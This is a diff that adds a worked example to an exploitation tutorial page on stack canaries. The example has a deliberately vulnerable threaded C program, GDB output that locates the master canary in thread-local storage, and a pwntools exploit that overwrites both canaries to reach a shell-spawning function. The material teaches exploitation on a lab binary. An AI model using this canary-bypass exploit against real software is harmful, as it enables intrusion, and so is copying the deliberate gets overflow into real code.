Added example

reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -122,7 +122,121 @@ log.info(f"The canary is: {canary}")
 
 Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-force** a canary if the binary spawns a new thread every time an attack happens. 
 
-A buffer overflow in a threaded function protected with canary can be used to modify the master canary of the thread. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
+A buffer overflow in a threaded function protected with canary can be used to modify the master canary of the process. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
+
+### Example
+
+The following program is vulnerable to Buffer Overflow, but it is compiled with canary:
+
+```c
+#include <pthread.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+
+// gcc thread_canary.c -no-pie -l pthread -o thread_canary
+
+void win() {
+    execve("/bin/sh", NULL, NULL);
+}
+
+void* vuln() {
+    char data[0x20];
+    gets(data);
+}
+
+int main() {
+    pthread_t thread;
+
+    pthread_create(&thread, NULL, vuln, NULL);
+    pthread_join(thread, NULL);
+
+    return 0;
+}
+```
+
+Notice that `vuln` is called inside a thread. In GDB we can take a look at `vuln`, specifically, at the point where the program calls `gets` to read input data:
+
+```bash
+gef> break gets
+Breakpoint 1 at 0x4010a0
+gef> run
+...
+gef> x/10gx $rdi
+0x7ffff7d7ee20: 0x0000000000000000      0x0000000000000000
+0x7ffff7d7ee30: 0x0000000000000000      0x0000000000000000
+0x7ffff7d7ee40: 0x0000000000000000      0x493fdc653a156800
+0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
+0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640
+```
+
+The above represents the address of `data`, where the program will write user input. The stack canary is found at `0x7ffff7d7ee48` (`0x493fdc653a156800`), and the return address is at `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
+
+```bash
+gef> telescope $rdi 8 -n
+0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
+0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
+0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
+0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
+0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
+0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800  <-  canary
+0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
+0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]
+```
+
+Notice that the stack addresses do not belong to the actual stack:
+
+```bash
+gef> vmmap stack
+[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
+Start              End                Size               Offset             Perm Path
+0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
+0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
+```
+
+The thread's stack is placed above the Thread Local Storage (TLS), where the master canary is stored:
+
+```bash
+gef> tls
+$tls = 0x7ffff7d7f640
+...
+---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
+0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640  ->  [loop detected]  <-  $rbx, $r12
+0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0  ->  0x0000000000000001
+0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640  ->  [loop detected]
+0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
+0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
+0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800  <-  canary
+0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4  <-  PTR_MANGLE cookie
+0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
+...
+```
+
+As a result, a large Buffer Overflow can allow to modify both the stack canary and the master canary in the TLS. This is the offset:
+
+```bash
+gef> p/x 0x7ffff7d7f668 - $rdi
+$1 = 0x848
+```
+
+This is a short exploit to call `win`:
+
+```python
+from pwn import *
+
+context.binary = 'thread_canary'
+
+payload  = b'A' * 0x28                    # buffer overflow offset
+payload += b'BBBBBBBB'                    # overwritting stack canary
+payload += b'A' * 8                       # saved $rbp
+payload += p64(context.binary.sym.win)    # return address
+payload += b'A' * (0x848 - len(payload))  # padding
+payload += b'BBBBBBBB'                    # overwritting master canary
+
+io = context.binary.process()
+io.sendline(payload)
+io.interactive()
+```
 
 ## Other examples & references